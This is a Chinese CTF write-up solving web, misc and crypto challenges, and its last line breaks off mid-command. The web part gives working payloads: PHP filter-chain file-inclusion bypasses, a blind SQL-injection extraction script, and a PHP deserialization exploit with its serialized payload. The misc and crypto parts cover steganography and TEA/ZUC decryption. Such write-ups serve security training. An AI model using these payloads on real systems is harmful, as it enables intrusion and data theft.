摸鱼选手,感谢同队师傅,学到很多。
0x00 WEB
文件包含绕过
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
正常的绕过姿势都行不通,学到了新姿势。
通过iconv将utf-8编码转为utf-7编码,从而把’=’给转了,最终也就不会影响到base64的正常解码。
payload:
php://filter/convert.iconv.utf-8.utf-7/resource=flag.php
得到:
+ADw?php +ACQ-flag+AD0’flag+AHs-2973f868-91c1-449c-9f0f-fd19ba0b9b26+AH0’+ADs

也可以使用bzip2.compress协议绕过
php://filter/bzip2.compress/resource=flag.php
easiestSQLi
eds师傅tql。过滤了双引号改校内赛老八小汉堡那道题的脚本。
import requests
urla = 'http://eci-2ze2wcynh47kyngodmw7.cloudeci1.ichunqiu.com/?id=if((select%0aflag%0afrom%0aflag)regexp(\'^'
urlb = '\'),1,0)'
strs = ['[0]','[1]','[2]','[3]','[4]','[5]','[6]','[7]','[8]','[9]','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','}','{','.']
flag = ''
print(urla + flag + urlb)
print(requests.get(urla+urlb).text)
for i in range(40):
for x in strs:
url = urla + flag+ x + urlb
#print(url)
r = requests.get(url)
if 'YES' in r.text:
flag += x
print(x)
if x == '$':
exit()
break
print(flag)
Soitgoes
查看源代码得到提示:

使用filter流读取try.php:
?file=php://filter/read=convert.base64-encode/resource=try.php
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
?>
使用filter流读取index.php,核心代码如下所示:
<?php
error_reporting(0);
$file = $_GET["file"];
$p = $_GET["p"];
if (isset($file)) {
echo 'NONONO' . '<br>';
if (preg_match("/flag/", $file)) {
die('HACKER GOGOGO!!!');
}
@include($file);
if (isset($p)) {
$p = unserialize($p);
} else {
echo "NONONO";
}
}
?>
fuzz发现存在flag.php(没有报404错误)
要想读取到flag,就要引入try.php并要传入p参数,所以构造序列化的时候要想办法执行getFlag()。
t1和t2被赋予1到10000之间随机一个数的md5值,正常情况下不能把控它们相等,所以让他们都指向一个地址。
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
$a = new Flag('flag.php');
$a->t1=&$a->t2;
$b = new Seri($a);
echo(serialize($b));
?>
运行后得到:
Another construction!!O:4:”Seri”:1:{s:5:”alize”;O:4:”Flag”:3:{s:1:”f”;s:8:”flag.php”;s:2:”t1″;s:32:”fd00d3474e495e7b6d5f9f575b2d7ec4″;s:2:”t2″;R:4;}}1c54985e4f95b7819ca0357c0cb9a09f1c54985e4f95b7819ca0357c0cb9a09f
取中间序列化部分给参数p,最终payload如下:
?file=try.php&p=O:4:”Seri”:1:{s:5:”alize”;O:4:”Flag”:3:{s:1:”f”;s:8:”flag.php”;s:2:”t1″;s:32:”fd00d3474e495e7b6d5f9f575b2d7ec4″;s:2:”t2″;R:4;}}
0x01 MISC
签到
用十六进制编辑器(010)打开图片发现格式应该是GIF。
想到可能有很多帧,用ps打开图片,分别保存图片的两个图层,然后用stegsolve对两个图层进行分析得到flag。

熟悉的解密
逐行翻译得到:
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import sys
from ctypes import *
def encipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
sum.value += delta
y.value += ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
z.value += ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
n -= 1
w[0] = y.value
w[1] = z.value
return w
def encodestr(text, key):
cipherList = []
text += (8 - len(text) % 8) * chr(0)
for i in range(len(text)/8):
v1 = 0
v2 = 0
for j in range(4):
v1+= ord(text[i*8+j]) << (4-j-1)*8
v2+= ord(text[i*8+j+4]) << (4-j-1)*8
cipherList.append(encipher([v1,v2],key))
return cipherList
if __name__ == "__main__":
key = [11,22,33,44]
flag = ?
cipher = encodestr(flag1,key)
#cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]
查询资料得知这是TEA(微型加密算法)。
解密部分参考:https://www.coder.work/article/2106318
import sys
from ctypes import *
from libnum import n2s
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0xc6ef3720)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1
w[0] = y.value
w[1] = z.value
return w
key = [11,22,33,44]
cipher = [[4018289233L, 2950320151L], [1771827478L, 493980876L], [1863284879L, 1137797599L], [2759701525L, 3957885055L], [2600866805L, 78850724L]]
for i in range(4):
x,y = decipher(cipher[i],key)
print n2s(x),n2s(y)

后半部分flag是base64隐写,一把梭:
import base64
def get_base64_diff_value(s1,s2):
table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in range(len(s1)):
if s1[i] != s2[i]:
return abs(table.index(s1[i]) - table.index(s2[i]))
return res
def solve():
lines = open('1','r').readlines()
bin_str = ''
for line in lines:
steg_line = line.replace('\n','')
# print(steg_line)
norm_line = base64.b64encode(base64.b64decode(steg_line)).decode()
# print(norm_line)
diff = get_base64_diff_value(steg_line,norm_line)
# print(diff)
pad_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pad_num*2)
else:
bin_str += '0' * pad_num * 2
print(bin_str)
res_str = ''
for j in range(int(len(bin_str)/8)):
# print(8*j,(j+1)*8)
res_str+=chr(int(bin_str[8*j:(j+1)*8],2))
print(res_str[-52:])
print(base64.b64decode(res_str[-52:]))
solve()
0x02 CRYPTO
zuc
查了下资料:
ZUC算法是中国自主设计的流密码算法,现已被3GPP LTE采纳为国际加密标准,即第四代移动通信加密标准。 ZUC算法是中国第一个成为国际密码标准的密码算法。
GmSSL是一个开源的密码工具箱,支持SM2/SM3/SM4/SM9/ZUC等国密(国家商用密码)算法。下载地址:https://github.com/guanzhi/GmSSL
下载真是太艰辛了QAQ,kali慎,用的ubantu。
遇到的问题+解决方法:https://blog.csdn.net/nange_nice/article/details/82182635
按照官方给的食用说明一把梭得到flag:
$ gmssl zuc -d -in